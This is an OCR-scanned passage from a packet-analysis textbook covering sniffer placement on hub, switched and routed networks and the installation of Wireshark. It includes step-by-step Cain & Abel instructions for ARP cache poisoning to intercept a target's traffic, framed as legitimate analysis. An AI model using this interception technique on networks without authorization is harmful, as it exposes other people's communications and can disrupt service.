typically want to capture every packet sent across the wire so we don’t risk 
missing some crucial piece of information. 

We can ensure we capture all of the traffic by using the NIC’s pro- 
miscuous mode. When operating in promiscuous mode, the NIC passes 
every packet it sees to the host’s processor, regardless of addressing. Once 
the packet makes it to the CPU, a packet-sniffing application can grab it 
for analysis. 


Most modern NICs support promiscuous mode, and Wireshark includes 
the ibpcap/WinPcap driver, which allows it to switch your NIC directly 
into promiscuous mode from the Wireshark GUI. (We’ll talk more about 
libpcap/WinPcap in Chapter 3.) 

For the purposes of this book, you must have a NIC and an operating sys- 
tem that support the use of promiscuous mode. The only time you don’t need 
to sniff in promiscuous mode is when you want to see only the traffic sent 
directly to the MAC address of the interface from which you are sniffing. 


Most operating systems (including Windows) will not let you use a NIC in promiscu- 
ous mode unless you have elevated user privileges. If you can’t legally obtain these 
privileges on a system, chances are that you shouldn't be performing any type of 
packet sniffing on that particular network. 


Sniffing Around Hubs 


Sniffing on a network that has hubs installed is a dream for any packet ana- 
lyst. As you learned in Chapter 1, traffic sent through a hub goes through 
every port connected to that hub. Therefore, to analyze the traffic running 
through a computer connected to a hub, all you need to do is connect a 
packet sniffer to an empty port on the hub. You'll be able to see all communi- 
cation to and from that computer, as well as all communication between any 
other devices plugged into that hub. As illustrated in Figure 2-2, your visibility 
window is limitless when your sniffer is connected to a hub-based network. 
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Visibility Window 


Figure 2-2: Sniffing on a hub network provides a limitless visibility window. 


The visibility window, as shown in various diagrams throughout this book, repre- 
sents the devices on the network whose traffic you can see with a packet sniffer. 
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Unfortunately for us, hub-based networks are rare because of the head- 
aches they cause network administrators. Since only one device can com- 
municate through a hub at any one time, a connected device must compete 
for bandwidth with all the other devices trying to communicate. When two 
or more devices communicate at the same time, packets collide, as shown in 
Figure 2-3. The result may be packet loss, and the communicating devices 
may compensate for that loss by retransmitting packets, increasing network 
congestion. As the level of traffic and number of collisions increase, devices 
may need to transmit a packet three or four times, and network perfor- 
mance decreases dramatically. It’s therefore easy to understand why most 
modern networks of any size use switches. Although you'll rarely find hubs 
in use on modern networks, you'll occasionally run into them on networks 
that support legacy hardware or specialized devices, such as industrial con- 
trol system (ICS) networks. 
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Figure 2-3: Collisions occur on a hub network when 
two or more devices transmit at the same time. 


The easiest way to identify whether a hub is in use in a network is to 
lay eyes on the server room or networking closet. Most hubs are labeled as 
such. When all else fails, just look in the darkest corner of the server closet 
for the network hardware with a few inches of dust on it. 


Sniffing in a Switched Environment 


Chapter 2 


Switches are the most common type of connection device used in modern 
networks. They provide an efficient way to transport data via broadcast, 
unicast, and multicast traffic. Switches allow full-duplex communication, 
meaning that machines can send and receive data simultaneously. 

Unfortunately for packet analysts, switches add complexity. When you 
connect a sniffer to a port on a switch, you can see only broadcast traffic and 
the traffic transmitted and received by the device the sniffer is installed on, 
as shown in Figure 2-4. To capture traffic from a target device on a switched 
network, you need to take an additional step. 
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Figure 2-4: The visibility window on a switched network is limited to the port you are 
plugged into. 


There are four primary ways to capture this traffic: port mirroring, 
hubbing out, using a tap, and ARP cache poisoning. 


Port Mirroring 


Port mirroring, or port spanning, is perhaps the easiest way to capture the traffic 
from a target device on a switched network. In this type of setup, you must 
have access to the command line or web management interface of the switch 
on which the target computer is located. Also, the switch must support port 
mirroring and have an empty port into which you can plug your sniffer. 

To enable port mirroring, you issue a command that forces the switch 
to copy all traffic on one port to another port. For instance, to capture all 
the traffic transmitted and received from a device on port 3 of a switch, you 
could plug your analyzer into port 4 and mirror port 3 to port 4. Figure 2-5 
illustrates port mirroring. 
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Figure 2-5: Port mirroring allows you to expand your visibility window on a switched 
network. 
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Chapter 2 


How you set up port mirroring depends on the manufacturer of your 
switch. For most enterprise switches, you'll need to log in to a command 
line interface and configure port mirroring using a specific command. 
You'll find a list of example port-mirroring commands in Table 2-1. 


Table 2-1: Commands Used to Enable Port Mirroring 


Manufacturer Command 

Cisco set span <source port> <destination port> 

Enterasys set port mirroring create <source port> <destination port> 
Nortel port-mirroring mode mirror-port <source port> monitor-port 


<destination port> 


Some enterprise switches provide web-based GUIs that offer port mirroring as an 
option, but these aren't common and aren't standardized. However, if your switch 
provides an effective way to configure port mirroring through a GUI, by all means 
use it. Additionally, more small office and home office (SOHO) switches are begin- 
ning to provide port-mirroring capabilities, and those are typically configured with 
a GUI. 


When port mirroring, be aware of the throughput of the ports you are 
mirroring. Some switch manufacturers allow you to mirror multiple ports 
to one port, functionality that may be useful when analyzing the com- 
munication between two or more devices on a single switch. However, let’s 
consider what can happen using some basic math. If you have a 24-port 
switch and you mirror 23 full-duplex 100Mbps ports to one port, you have 
potentially 4,600Mbps flowing to that port. This is well beyond the physical 
threshold of a single port, so you could cause packet loss or network slow- 
downs if the traffic reaches a certain level. This is sometimes referred to 
as oversubscription. In these situations, switches have been known to com- 
pletely drop excess packets or even “pause” their internal circuitry, prevent- 
ing communication altogether. Be sure that you don’t cause such problems 
when performing your capture. 

Port mirroring may seem like an attractive, low-cost solution for 
enterprise networks and scenarios in which you need to consistently moni- 
tor specific network segments, such as in network security monitoring. 
However, this technique is usually not reliable enough for such an appli- 
cation. Especially at high throughput levels, port mirroring can provide 
inconsistent results and cause data loss that can be hard to track down. 
For such scenarios, you are advised to use a tap, discussed in “Using a Tap” 
on page 24. 


Hubbing Out 


Another way to capture the traffic through a target device on a switched 
network is by hubbing out. With this technique, you place the target device 
and your analyzer system on the same network segment by plugging them 
both directly into a hub. Many people think of hubbing out as “cheating,” 
but it’s really a valid solution when you can’t perform port mirroring but 
still have physical access to the switch the target device is plugged into. 

To hub out, all you need is a hub and a few network cables. Once you 
have your hardware, connect it as follows: 


l. Find the switch the target device resides on and unplug the target from 
the network. 


2. Plug the target’s network cable into your hub. 
3. Plug in another cable that connects your analyzer to the hub. 


4. Plug ina network cable from your hub to the network switch to connect 
the hub to the network. 


Now you have put the target device and your analyzer in the same 
broadcast domain, and all traffic from your target device will be broadcast 
so that the analyzer can capture those packets, as illustrated in Figure 2-6. 
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Figure 2-6: Hubbing out isolates your target device and analyzer. 


In most situations, hubbing out reduces the duplex of the target device 
from full (bi-directional) to half (one-directional). While this method isn’t 
the cleanest way to capture packets, it’s sometimes your only option when a 
switch doesn’t support port mirroring. But keep in mind that your hub will 
also require a power connection, which can be difficult to find. 


As a reminder, it is usually a nice gesture to alert the user of the device that you will 
be unplugging it, especially if that user happens to be the company CEO! 
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FINDING “TRUE” HUBS 


When hubbing out, be sure that you're using a true hub and not a falsely 


labeled switch. Several networking hardware vendors have a bad habit of 
marketing and selling a device as a “hub” when it actually functions as a low- 
level switch. If you aren’t working with a proven, tested hub, you'll see only 
your own traffic, not that of the target device. 

When you find something you believe is a hub, test it to make sure. The 
best way to determine whether a device is a true hub is to hook up a pair of 
computers to it and see whether one computer can sniff traffic between the 
other computer and various other devices on the network, such as another 
computer or a printer. If so, you've got a keeper! 

Since hubs are so antiquated, they're not mass-produced much anymore. 
It's almost impossible to buy a true hub off the shelf, so you'll need to be 
creative in order to find one. A great source is often a surplus auction held by 
your local school district. Public schools are required to attempt to auction sur- 
plus items before disposing of them, and they often have older hardware sitting 
around. l've seen people walk away from auctions with several hubs for less 
than the cost of a plate of white beans and cornbread. Alternatively, eBay can 
be a good source of hubs, but be wary, as you may run into the same issue 
with mislabeled switches. 





Using a Tap 

Everybody knows the expression “Why have chicken when you could have 
steak?” (Or, if you are from the South, “Why have liver loaf when you could 
have fried bologna?”) This choice also applies to hubbing out versus using 
a tap. 

A network tap is a hardware device that you can place between two points 
on your cabling system to capture the packets between those two points. As 
with hubbing out, you place a piece of hardware on the network that allows 
you to capture the packets you need. The difference is that rather than 
using a hub, you use a specialized piece of hardware designed for network 
analysis. 

There are two primary types of net- 
work taps: aggregated and nonaggregated. 
Both types of taps sit between two devices 
in order to sniff the communications. The 
primary difference between an aggregated 
tap and a nonaggregated tap is that the 
nonaggregated tap has four ports, as shown 
in Figure 2-7, and requires separate inter- 
faces for monitoring traffic bidirectionally, 
while the aggregated tap has only three Figure 2-7: A Barracuda non- 
ports and can monitor bidirectionally with aggregated tap 
only a single interface. 
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Taps also typically require a power connection, although some include 
batteries that allow brief stints of packet sniffing. 


Aggregated Taps 


The aggregated tap is the simplest to use. It has only one physical monitor 
port for sniffing bidirectional traffic. 

To capture all traffic to and from a single computer plugged into a 
switch using an aggregated tap, follow these steps: 


Unplug the computer from the switch. 


2. Plug one end of a network cable into the computer and plug the other 


a 6% 


end into the tap’s “in” port. 


3. Plug one end of another network cable into the tap’s “out” port and 
plug the other end into the network switch. 


a 6. 


4. Plug one end of a final cable into the tap’s “monitor” port and plug the 
other end into the computer that is acting as your sniffer. 


The aggregated tap should be connected as shown in Figure 2-8. At 
this point, your sniffer should be capturing all traffic in and out of the com- 
puter you've plugged into the tap. 
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Figure 2-8: Using an aggregated tap to intercept network traffic 


Nonaggregated Taps 


The nonaggregated tap is slightly more complex than the aggregated type, 
but it allows a bit more flexibility when capturing traffic. Instead of having a 
single monitor port that can be used to listen to bidirectional communica- 
tion, the nonaggregated type has two monitor ports. One monitor port is 
used for sniffing traffic in one direction (from the computer connected to 
the tap), and the other monitor port is used for sniffing traffic in the other 
direction (to the computer connected to the tap). 
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To capture all traffic to and from a single computer plugged into a 
switch, follow these steps: 


Unplug the computer from the switch. 
2. Plug one end of a network cable into the computer and plug the other 


7 6% 


end into the tap’s “in” port. 

3. Plug one end of another network cable into the tap’s “out” port and 
plug the other end into the network switch. 

4. Plug one end of a third network cable into the tap’s “monitor A” port 
and plug the other end into one NIC on the computer that is acting as 
your sniffer. 

5. Plug one end of a final cable into the tap’s “monitor B” port and plug 
the other end into a second NIC on the computer that is acting as your 
sniffer. 


The nonaggregated tap should be connected as shown in Figure 2-9. 
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Figure 2-9: Using a nonaggregated tap to intercept network traffic 


While these examples may make it appear as though you can monitor 
only a single device using a tap, you can actually monitor many devices by 
getting creative with your placement of the tap. For example, if you wanted 
to monitor all the communication between an entire network segment and 
the Internet, you could place the tap between the switch to which all of the 
other devices are connected and the network’s upstream router. This place- 
ment at a network choke point lets you collect the traffic you desire. This 
strategy is commonly used in security monitoring. 


Choosing a Network Tap 


Which type of tap is better? In most situations, aggregated taps are pre- 
ferred because they require less cabling and don’t need two NICs on your 
sniffer computer. However, if you need to capture a high volume of traffic 
or care about traffic going in only one direction, a nonaggregated tap is a 
better choice. 


You can purchase taps of all sizes, ranging from simple Ethernet taps that 
run about $150 to enterprise-grade fiber optic taps in the six-figure range. 
I’ve used enterprise-grade taps from Ixia (formerly Net Optics), Dualcomm, 
and Fluke Networks and have been very happy with them, but there are many 
other great taps available as well. If you’re using a tap for an enterprise appli- 
cation, you'll want to be sure the tap has fail-open capability. This means that 
if the tap malfunctions or dies, packets will still pass through it and network 
connectivity for the tapped link won’t be interrupted. 


ARP Cache Poisoning 


One of my favorite techniques for tapping into the wire is ARP cache poison- 
ing. We’ll cover the ARP protocol in detail in Chapter 7, but a brief explana- 
tion is necessary here so you can understand how this technique works. 


The ARP Process 


Recall from Chapter 1 that the two main types of packet addressing are at 
layers 2 and 3 of the OSI model. These layer 2 addresses, or MAC addresses, 
are used in conjunction with whichever layer 3 addressing system you are 
using. In this book, in accordance with industry-standard terminology, I 
refer to the layer 3 addressing system as the IP addressing system. 

All devices on a network communicate with each other on layer 3 using 
IP addresses. Because switches operate on layer 2 of the OSI model, they 
are cognizant of only layer 2 MAC addresses, so devices must be able to 
include this information in packets they construct. When a MAC address 
is not known, it must be obtained using the known layer 3 IP addresses so 
traffic can be forwarded to the appropriate device. This translation process 
is done through the layer 2 protocol ARP. 

The ARP process, for computers connected to Ethernet networks, 
begins when one computer wishes to communicate with another. The 
transmitting computer first checks its ARP cache to see whether it already 
has the MAC address associated with the IP address of the destination com- 
puter. If it does not, it sends an ARP request to the data link layer broadcast 
address ff:ff: ff: ff: fF ff, as discussed in Chapter 1. This broadcast packet 
is received by every computer on that particular Ethernet segment. The 
packet basically asks, “Which IP address owns the xx:xx:xx:xx:xx:xx MAC 
address?” 

Devices without the destination computer’s IP address simply discard 
this ARP request. The destination machine replies to the packet with its 
MAC address via an ARP reply. At this point, the original transmitting com- 
puter now has the data link layer addressing information it needs to com- 
municate with the remote computer, and it stores that information in its 
ARP cache for fast retrieval. 
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How ARP Cache Poisoning Works 


ARP cache poisoning, sometimes called ARP spoofing, is an advanced form of 
tapping into the wire on a switched network. It works by sending ARP mes- 
sages to an Ethernet switch or router with fake MAC (layer 2) addresses in 
order to intercept the traffic of another computer. Figure 2-10 illustrates 
this setup. 


Normal Traffic Pattern Poisoned ARP Cache 
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Figure 2-10: ARP cache poisoning lets you intercept the traffic of your target computer. 


This technique is commonly used by attackers to send falsely addressed 
packets to client systems in order to intercept certain traffic or cause denial- 
of-service (DoS) attacks on a target. However, it can also be a legitimate way 
to capture the packets of a target machine on a switched network. 


Using Cain & Abel 


When attempting to poison the ARP cache, the first step is to acquire the 
necessary tools and collect some information. For our demonstration, we’ ll 
use the popular security tool Cain & Abel from oxid.it (http://www.oxid.it/), 
which supports Windows systems. Download and install it now, according to 
the directions on the website. 


When you attempt to download Cain & Abel, there is a good chance that antivirus 
software or your browser will flag the software as malicious or as a “hacker tool.” This 
tool has multiple uses, including several that could be nefarious. For our purposes, it 
poses no threat to your system. 


Before you can use Cain & Abel, you'll need to collect certain informa- 
tion, including the IP address of your analyzer system, the remote system 
from which you wish to capture the traffic, and the router from which the 
remote system is downstream. 

When you first open Cain & Abel, you'll notice a series of tabs near 
the top of the window. (ARP cache poisoning is only one of Cain & Abel’s 
features.) For our purposes, we’ll be working in the Sniffer tab. When you 
click this tab, you should see an empty table, as shown in Figure 2-11. 
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Figure 2-11: The Sniffer tab in the Cain & Abel main window 


1. 


To complete this table, you'll need to activate the program’s built-in 
sniffer and scan your network for hosts. To do so, follow these steps: 


Click the second icon from the left on 
the toolbar, which resembles a NIC. 


You'll be asked to select the interface 
you wish to sniff. Choose the one that 
is connected to the network on which 
you'll be performing your ARP cache 
poisoning. If this is your first time using 
Cain & Abel, select this interface and 
click OK. Otherwise, if you’ve selected 
an interface in Cain & Abel before, your 
selection will have been saved, and you'll 
need to press the NIC icon a second 
time to select the interface. (Ensure 
that this button is depressed to activate 
Cain & Abel’s built-in sniffer.) 


To build a list of available hosts on your 
network, click the plus (+) button. The 
MAC Address Scanner dialog appears, 
as shown in Figure 2-12. The All hosts 
in my subnet radio button should be 
selected (or you can specify an address 
range if necessary). Click OK to 
continue. 
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Figure 2-12: Scanning for 
MAC addresses using the 
Cain & Abel network dis- 
covery tool 
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Some Windows 10 users report Cain & Abel is unable to determine the 
IP address of their network interfaces, which prohibits the completion of 
this process. If you have this problem, when configuring network interfaces 
you'll see that the IP address of your interfaces is 0.0.0.0. To remedy this, 
take the following steps: 


If Cain & Abel is open, close it. 


2. On the desktop search bar, type ncpa.cpl to open the Network 
Connections dialog. 


3. Right-click the network interface you'll be sniffing from and click 
Properties. 


4. Double-click Internet Protocol Version 4 (TCP/IPv4). 
5. Click the Advanced button and choose the DNS tab. 


6. Select the checkbox next to Use this connection’s DNS suffix in DNS 
registration to activate it. 


7. Click OK to exit the open dialogs and relaunch Cain & Abel. 


The grid should now be filled with a list of all the hosts on your 
attached network, along with their MAC addresses, IP addresses, and 
vendor information. This is the list you’ll work from when setting up ARP 
cache poisoning. 

At the bottom of the program window, you should see a set of tabs that 
will take you to other windows under the Sniffer heading. Now that you 
have built your host list, you’ ll be working from the APR (for ARP Poison 
Routing) tab. Switch to the APR window now by clicking the tab. 

Once in the APR window, you are presented with two empty tables. 
After you’ve completed the setup steps, the upper table will show the 
devices involved in your ARP cache poisoning, and the lower one will 
show all communication between your poisoned machines. 

To set up your poisoning, follow these steps: 


1. Click in the blank area in the upper portion of the screen. Then click 
the plus (+) button on the program’s standard toolbar. 


2. The window that appears has two selection panes. On the left side, 
you'll see a list of all available hosts on your network. If you click the IP 
address of the target computer, the pane on the right will show a list of 
all hosts in the network, except for the target machine’s IP address. 


3. In the right pane, click the IP address of the router that is directly 
upstream from the target machine, as shown in Figure 2-13, and click 
OK. The IP addresses of both devices should now be listed in the upper 
table in the main application window. 

4. To complete the process, click the yellow-and-black radiation sym- 
bol on the standard toolbar. This will activate Cain & Abel’s ARP 
cache poisoning features and allow your analyzing system to be the 
middleman for all communications between the target system and its 
upstream router. 
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Figure 2-13: Selecting the devices for which you wish to enable ARP cache poisoning 


You should now be able to fire up your packet sniffer and begin the 
analysis process. When you have finished capturing traffic, simply click the 
yellow-and-black radiation symbol again to stop ARP cache poisoning. 


A Word of Caution About ARP Cache Poisoning 


A final note on ARP cache poisoning: you should be very aware of the roles 
of the systems for which you implement this process. For instance, don’t use 
this technique when the target device is something with very high network 
utilization, such as a file server with a 1Gbps link to the network (especially 
if your analyzer system provides only a 100Mbps link). 

When you reroute traffic using the technique shown in this example, all 
traffic transmitted and received by the target system must first go through 
your analyzer system, therefore making your analyzer the bottleneck in the 
communication process. This rerouting can have a DoS-type effect on the 
machine you are analyzing, resulting in degraded network performance and 
faulty analysis data. Traffic congestion can also prohibit SSL-based commu- 
nication from working as expected. 


You can avoid having all the traffic go through your analyzer system by using a fea- 
ture called asymmetric routing. For more information about this technique, see the 
oxid.it user manual (http://www.oxid.it/ca_um/topics/apr.htm). 


Sniffing in a Routed Environment 


All the techniques for tapping into the wire on a switched network are avail- 
able on routed networks as well. The only major consideration when deal- 
ing with routed environments is the importance of sniffer placement when 
you are troubleshooting a problem that spans multiple network segments. 
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As you've learned, a device’s broadcast domain extends until it reaches a 
router, at which point the traffic is handed off to the next upstream router. 
When data must traverse multiple routers, it’s important to analyze the traffic 
on all sides of the router. 

For example, consider the problem you might encounter in a network 
with several segments connected via multiple routers. In this network, each 
segment communicates with an upstream segment to store and retrieve data. 
In Figure 2-14, the problem we’re trying to solve is that a downstream sub- 
net, network D, can’t communicate with any devices on network A. 
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Network D 


Figure 2-14: A computer on network D can’t communicate with 
computers on network A. 


If you sniff the traffic of a device on network D that is having trouble 
communicating with devices on other networks, you may clearly see data 
being transmitted to another segment, but you might not see data coming 
back. If you rethink the positioning of your sniffer and begin sniffing the 
traffic in the next upstream network segment (network B), you'll have a 
clearer picture of what is happening. At this point, you might find that traf- 
fic is dropped or routed incorrectly by network B’s router. Eventually, this 
leads you to a router configuration problem that, when corrected, solves 
your larger dilemma. Although this scenario is a bit broad, the moral of the 
story is that when dealing with multiple routers and network segments, you 
may need to move your sniffer around a bit to get the entire picture and 
pinpoint the problem. 


NETWORK MAPS 


In our discussion of network placement, we have examined several network 
maps. A network map, or network diagram, shows all technical resources on a 
network and how they are connected. 

There is no better way to determine the placement of your packet sniffer 
than to visualize the network. If you have a network map available, keep 


it handy, as it will be a valuable asset in the troubleshooting and analysis 


process. You may even want to make a detailed map of your own network. 
Remember that sometimes half the battle in troubleshooting is ensuring you are 
collecting the right data. 





Sniffer Placement in Practice 


We have looked at four ways to capture network traffic in a switched envi- 
ronment. We can add one more if we simply consider installing a packet- 
sniffing application on a single device from which we want to capture traffic 
(the direct install method). Given these five methods, it can be a bit confusing 
to determine which one is the most appropriate. Table 2-2 provides some 
general guidelines for each method. 

As analysts, we need to be as stealthy as possible. In a perfect world, we 
collect the data we need without leaving a footprint. Just as forensic investi- 
gators don’t want to contaminate a crime scene, we don’t want to contami- 
nate our captured network traffic. 


Table 2-2: Guidelines for Packet Sniffing in a Switched Environment 


Technique Guidelines 
Port mirroring e Leaves no network footprint and generates no additional 
packets. 


e Can be configured without taking the client offline, which is con- 
venient when mirroring router or server ports. 


e Requires processing resources from the switch and can be incon- 
sistent at higher throughput levels. 


Hubbing out e Works when you are not concerned about taking the host tempo- 
rarily offline. 


e Ineffective when you must capture traffic from multiple hosts, as 
collisions and dropped packets are likely. 


e Can result in lost packets on modern 100/1000Mbps hosts 
because most true hubs are only 1OMbps. 


(continued) 
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Table 2-2 (continued) 


Technique Guidelines 


Using a tap . 


ARP cache ° 
poisoning 
e 
e 
Direct install ° 


Ideal when you are not concerned about taking the host tempo- 
rarily offline. 

The only option when you need to sniff traffic from a fiber-optic 
connection. 

Preferred solution for enterprise packet capture and continu- 
ous monitoring because taps are reliable and can scale to high 
throughput links. 

Since taps are made for the task at hand and are ai to par with 
modern network speeds, this method is superior to hubbing out. 


Can be expensive, especially at scale, and so may be cost 
prohibitive. 

Considered very sloppy, as it involves injecting packets onto 
the network to reroute traffic through your sniffer. 


When port mirroring is not an option, can be effective for 
quickly capturing traffic from a device without taking it offline. 


Requires great care so as to not impact network functionality. 
Usually not recommended because if there is an issue with a 


host, that issue could cause packets to be dropped or manipu- 
lated in such a way that they are not represented accurately. 


The NIC of the host doesn’t need to be in promiscuous mode. 


Best for test environments, examining/baselining performance, 
and examining capture files created elsewhere. 


As we step through practical scenarios in later chapters, we’ ll discuss 
the best ways to capture the data we require on a case-by-case basis. For the 
time being, the flowchart in Figure 2-15 should help you choose the best 
method for capturing traffic in a given situation. The chart takes different 
factors into consideration, starting with whether you are capturing packets 
at home or at work. Remember that this flowchart is simply a general refer- 
ence and doesn’t cover every possible scenario in which you might tap into 
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Tapping into the Wire 





INTRODUCTION TO WIRESHARK 


As mentioned in Chapter 1, several 
packet-sniffing applications are available 
for performing network analysis, but we’ll 





focus mostly on Wireshark in this book. This 
chapter introduces Wireshark. 


A Brief History of Wireshark 


Wireshark has a very rich history. Gerald Combs, a computer science gradu- 
ate of the University of Missouri at Kansas City, originally developed it out 
of necessity. The first version of Combs’s application, called Ethereal, was 
released in 1998 under the GNU Public License (GPL). 

Eight years after releasing Ethereal, Combs left his job to pursue other 
career opportunities. Unfortunately, his employer at that time had full rights 
to the Ethereal trademarks, and Combs was unable to reach an agreement 
that would allow him to control the Ethereal brand. Instead, Combs and the 
rest of the development team rebranded the project as Wireshark in mid-2006. 
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Wireshark has grown dramatically in popularity, and its collaborative 
development team now boasts more than 500 contributors. The program 
that exists under the Ethereal name is no longer being developed. 


The Benefits of Wireshark 


Chapter 3 


Wireshark offers several benefits that make it appealing for everyday use. 
Aimed at both the up-and-coming and the expert packet analyst, it offers 
a variety of features to entice each. Let’s examine Wireshark according to 
the criteria defined in Chapter 1 for selecting a packet-sniffing tool. 


Supported protocols Wireshark excels in the number of protocols 
that it supports—more than 1,000 as of this writing. These range from 
common ones like IP and DHCP to more advanced proprietary proto- 
cols like DNP3 and BitTorrent. And because Wireshark is developed 
under an open source model, new protocol support is added with each 
update. 


In the unlikely event that Wireshark doesn’t support a protocol you need, you can 
code that support yourself. Then you can submit your code to the Wireshark devel- 
opers for consideration for inclusion in the application. You can learn about what 
is required to contribute code to the Wireshark project at https://www.wireshark 
.org/develop.html. 


User-friendliness The Wireshark interface is one of the easiest to 
understand of any packet-sniffing application. It is GUI based, with 
clearly written context menus and a straightforward layout. It also pro- 
vides several features designed to enhance usability, such as protocol- 
based color coding and detailed graphical representations of raw data. 
Unlike some of the more complicated command line—driven alterna- 
tives, like tcpdump, the Wireshark GUI is accessible to those just enter- 
ing the world of packet analysis. 


Cost Since it’s open source and released under the GNU Public 
License (GPL), Wireshark’s pricing can’t be beat: it’s absolutely free. 
You can download and use Wireshark for any purpose, whether per- 
sonal or commercial. 


Although Wireshark may be free, some people have made the mistake of paying for it 
by accident. If you search for packet sniffers on eBay, you may be surprised by how 
many people would love to sell you a “professional enterprise license” for Wireshark 
for the low, low price of $39.95. If you decide you really want to buy it, give me a call, 
and we can talk about some oceanfront property in Kentucky I have for sale! 


Program support A software package’s level of support can make or 
break it. Freely distributed software such as Wireshark may not come 
with any formal support, so the open source community often relies 

on its user base to provide assistance. Luckily for us, the Wireshark 
community is one of the most active of any open source project. The 
Wireshark website links directly to several forms of support, includ- 

ing online documentation; a wiki; FAQs; and a place to sign up for the 
Wireshark mailing list, which is monitored by most of the program’s top 
developers. Paid support for Wireshark is also available from Riverbed 
Technology. 


Source code access Wireshark is open source software, so you can 
access the code at any time. This can be useful for troubleshooting 
application issues, understanding how protocol dissectors work, or 
making your own contributions. 


Operating system support Wireshark supports all major modern 
operating systems, including Windows, Linux-based, and OS X plat- 
forms. You can view a complete list of supported operating systems on 
the Wireshark home page. 


Installing Wireshark 


The Wireshark installation process is surprisingly simple. However, before 
you install Wireshark, make sure that your system meets the following 
requirements: 


e Any modern 32-bit x86 or 64-bit CPU 

e 400MB available RAM, but more for larger capture files 

e Atleast 300MB of available storage space, plus space for capture files 
e NIC that supports promiscuous mode 


e WinPcap/libpcap capture driver 


The WinPcap capture driver is the Windows implementation of the 
pcap packet-capturing application programming interface (API). Simply 
put, this driver interacts with your operating system to capture raw packet 
data, apply filters, and switch the NIC in and out of promiscuous mode. 

Although you can download WinPcap separately (from http://www 
.winpcap.org/), it is typically better to install WinPcap from the Wireshark 
installation package, because the included version of WinPcap has been 
tested to work with Wireshark. 


Installing on Windows Systems 


The current version of Wireshark is tested to support versions of Windows 
that are still within their extended support lifetime. As of the writing 
of this book, that encompasses Windows Vista; Windows 7; Windows 8; 


Introduction to Wireshark 39 


40 


Chapter 3 


Windows 10; and Windows Servers 2003, 2008, and 2012. While Wireshark 
will often work on other versions of Windows (like Windows XP), those ver- 
sions are not officially supported. 


The first step when installing Wireshark on Windows is to obtain the 


latest installation build from the official Wireshark web page, http://www 
.wireshark.org/. Navigate to the Download Wireshark section on the website 
and choose a release mirror. Once you’ve downloaded the package, follow 
these steps: 


1. 


Double-click the .exe file to begin installation and then click Next in the 
introductory window. 

Read the licensing agreement and click I Agree if you agree. 

Select the components of Wireshark you wish to install, as shown 


in Figure 3-1. For our purposes, you can accept the defaults by 
clicking Next. 





Æ Wireshark 2.2.3 (64-bit) Setup — x 
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Figure 3-1: Choosing the Wireshark components you wish to install 


Click Next in the Additional Tasks window. 
Select the location where you wish to install Wireshark and click Next. 


When the dialog asks whether you want to install WinPcap, first make 
sure the Install WinPcap box is checked, as shown in Figure 3-2. Then 
click Install. The installation process should begin. 


About halfway through the Wireshark installation, the WinPcap instal- 
lation should start. When it does, click Next in the introductory win- 
dow, read the licensing agreement, and click I Agree. 


You'll be given the option to install USBPcap, a utility for collecting 


data from USB devices. Select the appropriate check box if you wish to 
do so and click Next. 





Æ Wireshark 2.2.3 (64-bit) Setup — x 
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Figure 3-2: Selecting the option to install the WinPcap driver 


9. WinPcap and, if you selected it, USBPcap should install on your com- 
puter. After this installation is complete, click Finish. 


10. Wireshark should complete its installation. When it’s finished, click Next. 


11. In the installation confirmation window, click Finish. 


Installing on Linux Systems 


Wireshark works on most modern Unix-based platforms. It can be installed 
either by using the distributions package manager of choice or by down- 
loading and installing the package appropriate for your distribution. 
It isn’t realistic to cover installation procedures for everyone, so we'll just 
look at a few. 

Typically, for system-wide software, root access is a requirement. 
However, local software installations compiled from source can usually 
be installed without root access. 


RPM-Based Systems 


If you’re using Red Hat Linux or a distribution based on it, like CentOS, 
then it’s likely the OS has the Yum package management tool installed by 
default. If that’s the case, you may be able to install Wireshark the quick way 
by pulling it from the distribution’s software repository. To do this, open a 
console window and enter the following command: 





$ sudo yum install wireshark 





If any dependencies are needed, you'll be prompted to install them. 
If everything completes successfully, then you should be able to run 
Wireshark from the command line and access it via the GUI. 
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DEB-Based Systems 


Most DEB-based distributions, such as Debian or Ubuntu, include the APT 
package management tool, which allows you to install Wireshark from the 
OS software repository. To install Wireshark with this tool, open a console 
window and enter the following: 





$ sudo apt-get install wireshark wireshark-qt 





Once again, you'll be prompted to install any required dependencies to 
complete the installation. 


Compiling from Source 


Due to changes in operation system architecture and Wireshark features, 
the instructions for compiling Wireshark from source might change over 
time. That’s one reason it’s recommended to use your operating system 
package manager to perform the installation. However, if your Linux dis- 
tribution doesn’t use an automated package management software or you 
require a specialized installation, Wireshark can be installed manually by 
compiling it from source. To do so, complete the following steps: 


Download the source package from the Wireshark web page. 


2. Extract the archive by entering the following (substituting the filename 
of your downloaded package as appropriate): 





$ tar -jxvf <file_name_here>.tar.bz2 





3. Before configuring and installing Wireshark, a few dependencies 
may be required depending on your chosen Linux flavor. For example, 
Ubuntu 14.04 requires the installation of a few other packages for 
Wireshark to work. These can be installed by issuing the following 
command (you’ll need to do this as a root-level user or by invoking 
sudo before the command): 





$ sudo apt-get install pkg-config bison flex qt5-default libgtk-3-dev 
libpcap-dev qttools5-dev-tools 





4. After installing prerequisites, navigate to the directory where the 


Wireshark files were extracted. 


5. Configure the source so that it will build correctly for your distribution 


of Linux by using the command ./configure. If you wish to deviate from 
the default installation options, you can specify those options at this 
point in the installation. If any dependencies are missing, yow’ ll most 
likely receive an error. You must install and configure those dependen- 
cies before proceeding. If configuration is successful, you should see a 
message noting success, as shown in Figure 3-3. 


e $ 2. sanders@sanders-dev: ~/wireshark-2.0.0 (ssh) 
The Wireshark package has been configured with the following options. 
Build wireshark : yes (with Qt 5) 
Build wireshark-gtk : yes (with GTK+ 3) 
Build tshark : yes 
Build tfshark : no 
Build capinfos : yes 
Build captype : yes 
Build editcap : yes 
Build dumpcap : yes 
Build mergecap : yes 
Build reordercap : yes 
Build text2pcap : yes 
Build randpkt : yes 
Build dftest : yes 
Build rawshark : yes 
Build androiddump : yes 
Build echid : no 


Save files as pcap-ng by default : yes 
Install dumpcap with capabilities : no 
Install dumpcap setuid : no 


Use dumpcap group : (none) 
Use plugins : yes 
Use external capture sources : yes 
Use Lua library : no 
Build Qt RTP player : no 
Build GTK+ RTP player : no 
Build profile binaries : no 
Use pcap library : 
Use zlib library : 
Use kerberos library : 
Use c-ares library : 
Use GNU ADNS library : 
Use SMI MIB library : 
Use GNU crypto library : 
Use SSL crypto library : 
Use IPv6 name resolution : 
Use gnutls library : 
Use POSIX capabilities library : 
Use GeoIP library : 
Use nl library : 
Use SBC codec library : 





Figure 3-3: When the ./configure command is successful, a message is 
displayed with the selected configurations. 


6. Enter the make command to build the source into a binary. 
